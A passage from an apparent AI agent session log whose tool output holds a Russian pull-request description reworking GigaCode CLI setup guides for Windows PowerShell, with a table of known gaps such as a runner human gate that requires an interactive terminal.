\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0438 \u0443\u0447\u0442\u0435\u043d\u043e \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438:\\n- \u0435\u0441\u043b\u0438 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c KB \u0438\u0437 runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 `docs/kb/` \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0430\u0434\u0430\u0435\u0442: \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442, \u0430 `index.md` \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 KB \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0440\u044f\u0434\u043e\u043c \u0441 \u043f\u0430\u043a\u0435\u0442\u043e\u043c, \u0430 \u0432 `docs/kb/` \u043a\u043b\u0430\u0434\u0443\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438;\\n- \u0447\u0435\u0440\u0435\u0437 `!` \u0432 GigaCode \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0441 G-human \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 (`human gate requires an interactive terminal`), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 runner \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u043a\u043d\u0435 B;\\n- \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 runner \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked`, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u2014 \u043e\u0442\u0441\u044e\u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb.\\n\\n## \u0420\u0430\u0437\u0440\u044b\u0432\u044b\\n| \u2116 | \u0420\u0430\u0437\u0440\u044b\u0432 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 |\\n|---|---|---|\\n| ~~\u041e-1~~ | ~~\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 Linux~~ | **\u0421\u043d\u044f\u0442 \u0432 \u044d\u0442\u043e\u043c PR** (B-222 DONE): \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u2014 Windows 10/11, \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 PowerShell \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 CI \u043d\u0430 Windows PowerShell 5.1 \u0438 PowerShell 7. \u041d\u043e\u043c\u0435\u0440 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f |\\n| \u041e-2 | GigaCode \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 GitVerse \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c GigaCode | \u2014 (\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0435) |\\n| \u041e-3 | `rg-bcreq-v1-dispatcher` \u0432\u0435\u0434\u0451\u0442 \u0440\u0443\u0447\u043d\u043e\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 runner | B-221 |\\n| \u041e-4 | \u0412 \u043f\u0430\u043a\u0435\u0442\u0435 \u043d\u0435\u0442 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 A-IN \u0434\u043b\u044f `TASK-0001`; \u043e\u043d \u0434\u0430\u043d \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0432 `04` | B-220 |\\n| \u041e-5 | G-human \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u2014 (\u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e runner, \u0442\u0430\u043a \u0437\u0430\u0434\u0443\u043c\u0430\u043d\u043e; \u0432 Windows \u044d\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e\u0435 \u043e\u043a\u043d\u043e PowerShell) |\\n| \u041e-6 | \u041e\u0442\u043a\u0430\u0437 runner \u043d\u0435\u043e\u0431\u0440\u0430\u0442\u0438\u043c\u043e \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 | \u2014 (\u043f\u0440\u0430\u0432\u0438\u043b\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb, \u043e\u0442 \u041e\u0421 \u043d\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u0442; \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u043d\u0430 Windows \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0442\u0435\u0441\u0442\u043e\u043c) |\\n| \u041e-7 | \u041f\u043e\u043b\u043d\u0430\u044f \u043a\u043e\u043f\u0438\u044f KB \u0432 `docs/kb/` \u043b\u043e\u043c\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u0430\u043a\u0435\u0442\u0430 | \u2014 (\u043e\u0431\u0445\u043e\u0434 \u0432 `03`) |\\n| \u041e-8 | \u041d\u0435\u0442 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u044f Working; \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0431\u043b\u043e\u043a PowerShell \u0432 `05` | B-219 (\u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 B-199 \u0434\u043b\u044f Cline) |\\n| \u041e-9 | \u041d\u0435\u0442 \u043d\u0430\u0432\u044b\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432\u0435\u0434\u0451\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043f\u043e \u0443\u0437\u043b\u0430\u043c; \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0434\u0435\u0440\u0436\u0438\u0442 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u044f \u0444\u0440\u0430\u0437\u0430 | B-221 |\\n| \u041e-10 | \u041d\u0430\u0432\u044b\u043a\u0438 \u0443\u0437\u043b\u043e\u0432 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 Markdown, \u0430 runner \u043d\u0430 `n12`/`n13` \u0442\u0440\u0435\u0431\u0443\u0435\u0442 JSON Working/Release | B-220 |\\n\\nB-200 (hooks Cline \u043d\u0430 Windows, \u041e-3 Cline-\u043f\u0430\u043a\u0435\u0442\u0430) \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0441\u044f \u043a \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c Cline (#636). \u041f\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u043e\u043d\u0438 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0437\u0430\u0434\u0430\u0447\u0430\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432 \u044d\u0442\u043e\u043c PR B-200 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f.\\n\\n\u041d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u0438 \u043f\u043e\u043c\u0435\u0447\u0435\u043d\u043e \u0432 \u0442\u0435\u043a\u0441\u0442\u0435:\\n- \u0441\u0430\u043c GigaCode CLI \u0432 CI \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f: \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0438 \u0440\u0435\u0436\u0438\u043c\u044b \u0441\u0432\u0435\u0440\u0435\u043d\u044b \u0441 [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 GitVerse](https://gitverse.ru/docs/ai/ai-assistant-gigacode/gigacode-cli/commands); `/context` \u0438 `/copy` \u0443\u0431\u0440\u0430\u043d\u044b, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u0438\u0445 \u043d\u0435 \u0443\u0434\u0430\u043b\u043e\u0441\u044c;\\n- \u043c\u043e\u0436\u0435\u0442 \u043b\u0438 GigaCode \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0432\u043d\u0435 \u043f\u0430\u043f\u043a\u0438 \u043f\u0430\u043a\u0435\u0442\u0430 (\u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u0440\u043e\u0441\u0438\u0442 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u0432 `runs\\\\TASK-ID\\\\evidence\\\\sources\\\\`);\\n- \u043e\u0442\u0432\u0435\u0442 GigaCode \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0431 `AGENTS.md` \u0432 `03` \u2014 \u044d\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u043e \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 \u0444\u0430\u0439\u043b\u0430, \u043d\u043e \u0442\u043e, \u0447\u0442\u043e GigaCode \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 `AGENTS.md` \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438, \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e.\",\n[2026-09-29T08:02:33.256Z] [INFO]         \"is_error\": false\n[2026-09-29T08:02:33.256Z] [INFO]       }\n[2026-09-29T08:02:33.256Z] [INFO]     ]\n[2026-09-29T08:02:33.256Z] [INFO]   },\n[2026-09-29T08:02:33.256Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:02:33.256Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:02:33.256Z] [INFO]   \"uuid\": \"78def214-01d9-4086-a9e8-f6ec0d5d60c5\",\n[2026-09-29T08:02:33.256Z] [INFO]   \"timestamp\": \"2026-09-29T08:02:33.181Z\",\n[2026-09-29T08:02:33.256Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:02:33.256Z] [INFO]     \"stdout\": \"[docs] GigaCode CLI: \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u0411\u0410 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 docs/guides \u043f\u043e \u043e\u0431\u0440\u0430\u0437\u0446\u0443 Cline\\nCloses #638\\n\\n## \u0427\u0442\u043e \u0441\u0434\u0435\u043b\u0430\u043d\u043e\\n\u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f GigaCode-\u043f\u0430\u043a\u0435\u0442\u0430 `junior-guide.md` (\u043e\u0434\u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430) \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u0430 \u0432 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 `docs/guides/` \u0441 \u0442\u043e\u0439 \u0436\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043e\u0439, \u0447\u0442\u043e \u0443 Cline-\u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u043e\u0441\u043b\u0435 #628/#636. \u042d\u0442\u043e \u0442\u0435 \u0436\u0435 \u0441\u0435\u043c\u044c \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0435 \u0436\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0438 \u0438 \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0447\u0442\u0435\u043d\u0438\u044f, \u0431\u043b\u043e\u043a\u0438 \u00ab\u0413\u0434\u0435 / \u041a\u043e\u043c\u0430\u043d\u0434\u0430 / \u041e\u0436\u0438\u0434\u0430\u0435\u043c\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 / \u041f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435\u00bb, \u043e\u0433\u043b\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u043d\u0430\u0432\u0438\u0433\u0430\u0446\u0438\u044f \u0432\u043d\u0438\u0437\u0443 \u0438 \u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439 \u0441 \u044f\u043a\u043e\u0440\u044f\u043c\u0438 `#term-\u2026`.\\n\\n**\u0426\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e Windows 10/11 (x64)**, \u043f\u043e [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/641). \u041a\u043e\u043c\u0430\u043d\u0434\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430 \u2014 Windows PowerShell 5.1 \u0438\u043b\u0438 PowerShell 7, Python 3.10+ \u0441 python.org, Git for Windows. \u0420\u0430\u0431\u043e\u0442\u0430 \u0438\u0434\u0451\u0442 \u0432 \u0434\u0432\u0443\u0445 \u043e\u043a\u043d\u0430\u0445 PowerShell: A \u2014 \u0434\u0438\u0430\u043b\u043e\u0433 \u0441 GigaCode, B \u2014 runner `python tools/run-task.py`.\\n- \u0412\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438, `README.md`, `AGENTS.md` \u0438 \u043d\u0430\u0432\u044b\u043a\u0430\u0445 \u043f\u0430\u043a\u0435\u0442\u0430 \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043a\u0430\u043a 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\u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u043e\u0448\u0438\u0431\u043a\u0438 Windows: \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430 Microsoft Store, ExecutionPolicy \u0434\u043b\u044f `gigacode`, \u00ab\u043d\u0435 \u0440\u0430\u0441\u043f\u043e\u0437\u043d\u0430\u043d\u043e \u043a\u0430\u043a \u0438\u043c\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043b\u0435\u0442\u0430\u00bb.\\n- \u0412 `03-deploy-package.md` \u043f\u0430\u043a\u0435\u0442 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043a\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0435\u0439 `Copy-Item`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0441\u0442\u0430\u0432\u044f\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 `python -m pip`. \u0422\u0430\u043c \u0436\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u044b KB \u0432 `kb-source\\\\`, `.gigacode\\\\settings.json` \u0447\u0435\u0440\u0435\u0437 `notepad` \u0438 `$env:CONFLUENCE_TOKEN`.\\n- \u0412 `05-commands-reference.md` \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 Working \u0437\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u043a\u0430\u043a here-string `@'\u2026'@ | python -`, \u0447\u0442\u0435\u043d\u0438\u0435 trace \u2014 \u0447\u0435\u0440\u0435\u0437 `Get-Content -Encoding UTF8 -Tail 1`. \u041e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 \u2014 `git -C source-lab pull` \u043f\u043b\u044e\u0441 `Copy-Item -Recurse -Force`; \u044d\u0442\u0430 \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 \u0438 \u0441\u043a\u0440\u044b\u0442\u0443\u044e \u043f\u0430\u043f\u043a\u0443 `.gigacode`.\\n\\n\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0430\u043a\u0435\u0442\u0430, \u0431\u0435\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 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Windows PowerShell 5.1 (`Set-Content -Encoding UTF8`) \u0438 \u0411\u043b\u043e\u043a\u043d\u043e\u0442 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 BOM.\\n- `validate-package.py` \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `.git/` \u043a\u043b\u043e\u043d\u0430 runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f.\\n- `run-task.py` \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `G-mach` \u0441 `PYTHONIOENCODING=utf-8`. `validate-package.py`, `bcreq_pipeline.py` \u0438 `run-task.py` \u043f\u0440\u0438 \u0432\u044b\u0432\u043e\u0434\u0435 \u0432 \u043a\u0430\u043d\u0430\u043b \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043d\u0435\u0442 \u0432 ANSI-\u043a\u043e\u0434\u043e\u0432\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435, \u043d\u0430 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\u0437\u0430\u0434\u0430\u0447\u0430 \u043e\u0442 TASK ID \u0434\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430: \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u044f \u0444\u0440\u0430\u0437\u0430, \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430 A-IN, \u0442\u0430\u0431\u043b\u0438\u0446\u0430 \u0443\u0437\u043b\u043e\u0432 (\u043d\u0430\u0432\u044b\u043a, \u0444\u0430\u0439\u043b, \u0444\u043e\u0440\u043c\u0430\u0442, `--to`, G-human), \u0437\u0430\u043f\u0435\u0447\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0435 Working, \u0441\u0431\u043e\u0440\u043a\u0430 Release, \u0432\u044b\u0445\u043e\u0434; \u0440\u0435\u0436\u0438\u043c\u044b \u0438 \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b GigaCode, \u0442\u0438\u043f\u0438\u0447\u043d\u044b\u0435 \u043e\u0442\u043a\u0430\u0437\u044b runner (20 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 `BLOCKED`) |\\n| `README.md`, `AGENTS.md`, \u043d\u0430\u0432\u044b\u043a\u0438, `package-manifest.yaml` | \u041a\u043e\u043c\u0430\u043d\u0434\u044b PowerShell, \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043a\u043b\u0430\u0441\u0442\u0435\u0440 \u0432\u043c\u0435\u0441\u0442\u043e `junior-guide.md`; `package_version: \\\"5.1\\\"`; \u0445\u044d\u0448\u0438 \u043f\u0435\u0440\u0435\u0441\u0447\u0438\u0442\u0430\u043d\u044b |\\n| `tools/*.py`, `.gitattributes` | \u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f Windows (\u0441\u043c. \u0432\u044b\u0448\u0435) |\\n| `tests/execution-package/tests/test_guides.py`, `test_runner.py` | \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0432 PowerShell; \u0442\u0435\u0441\u0442\u044b Windows-\u0443\u0441\u043b\u043e\u0432\u0438\u0439 runner |\\n| `.github/workflows/validate.yml` | \u041d\u043e\u0432\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 `windows-guides` (`windows-latest`, \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `powershell` / `pwsh`); \u0432 \u043f\u0440\u0435\u0436\u043d\u0435\u0439 \u0437\u0430\u0434\u0430\u0447\u0435 `validate` \u0437\u0430\u0434\u0430\u043d `GUIDE_SHELL: pwsh`, \u0447\u0442\u043e\u0431\u044b \u0442\u0435\u0441\u0442 \u043d\u0435 \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u043b\u0441\u044f |\\n| `ops/backlog.md` | \u0421\u043f\u0440\u0438\u043d\u0442 27, \u0437\u0430\u0434\u0430\u0447\u0438 B-219\u2026B-221 (TODO) \u0438 B-222 (DONE \u0434\u043b\u044f Windows 10/11); \u0432\u0435\u0440\u0441\u0438\u044f 1.68 \u0438 \u0435\u0451 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0432 `validate-repository-structure.sh` |\\n\\n\u041d\u0430\u0439\u0434\u0435\u043d\u043e \u043f\u0440\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0435 \u0438 \u0443\u0447\u0442\u0435\u043d\u043e \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438:\\n- \u0435\u0441\u043b\u0438 \u0441\u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c KB \u0438\u0437 runtime-\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 `docs/kb/` \u0446\u0435\u043b\u0438\u043a\u043e\u043c, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u043f\u0430\u0434\u0430\u0435\u0442: \u0438\u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442, \u0430 `index.md` \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u044b \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 KB \u0445\u0440\u0430\u043d\u0438\u0442\u0441\u044f \u0440\u044f\u0434\u043e\u043c \u0441 \u043f\u0430\u043a\u0435\u0442\u043e\u043c, \u0430 \u0432 `docs/kb/` \u043a\u043b\u0430\u0434\u0443\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438;\\n- \u0447\u0435\u0440\u0435\u0437 `!` \u0432 GigaCode \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0441 G-human \u043d\u0435 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442 (`human gate requires an interactive terminal`), \u043f\u043e\u044d\u0442\u043e\u043c\u0443 runner \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0432 \u043e\u043a\u043d\u0435 B;\\n- \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 runner \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u0432 `blocked`, \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u0435\u0451 \u043d\u0435\u043b\u044c\u0437\u044f \u2014 \u043e\u0442\u0441\u044e\u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u00ab\u043e\u0434\u0438\u043d TASK ID \u2014 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d\u00bb.\\n\\n## \u0420\u0430\u0437\u0440\u044b\u0432\u044b\\n| \u2116 | \u0420\u0430\u0437\u0440\u044b\u0432 | \u0420\u0435\u0448\u0435\u043d\u0438\u0435 |\\n|---|---|---|\\n| ~~\u041e-1~~ | ~~\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 Linux~~ | **\u0421\u043d\u044f\u0442 \u0432 \u044d\u0442\u043e\u043c PR** (B-222 DONE): \u0446\u0435\u043b\u0435\u0432\u0430\u044f \u0441\u0440\u0435\u0434\u0430 \u2014 Windows 10/11, \u0432\u0441\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 PowerShell \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0432 CI \u043d\u0430 Windows PowerShell 5.1 \u0438 PowerShell 7. \u041d\u043e\u043c\u0435\u0440 \u043d\u0435 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f |\\n| \u041e-2 | GigaCode \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u0442\u043e\u043b\u044c\u043a\u043e \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0430\u043c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 GitVerse \u0441 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u044b\u043c GigaCode | \u2014 (\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0435) |\\n| \u041e-3 | `rg-bcreq-v1-dispatcher` \u0432\u0435\u0434\u0451\u0442 \u0440\u0443\u0447\u043d\u043e\u0439 \u0436\u0443\u0440\u043d\u0430\u043b \u0438 \u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 runner | B-221 |\\n| \u041e-4 | \u0412 \u043f\u0430\u043a\u0435\u0442\u0435 \u043d\u0435\u0442 \u0443\u0447\u0435\u0431\u043d\u043e\u0433\u043e \u0432\u0445\u043e\u0434\u0430 A-IN \u0434\u043b\u044f `TASK-0001`; \u043e\u043d \u0434\u0430\u043d \u0442\u0435\u043a\u0441\u0442\u043e\u043c \u0432 `04` | B-220 |\\n| \u041e-5 | G-human \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u2014 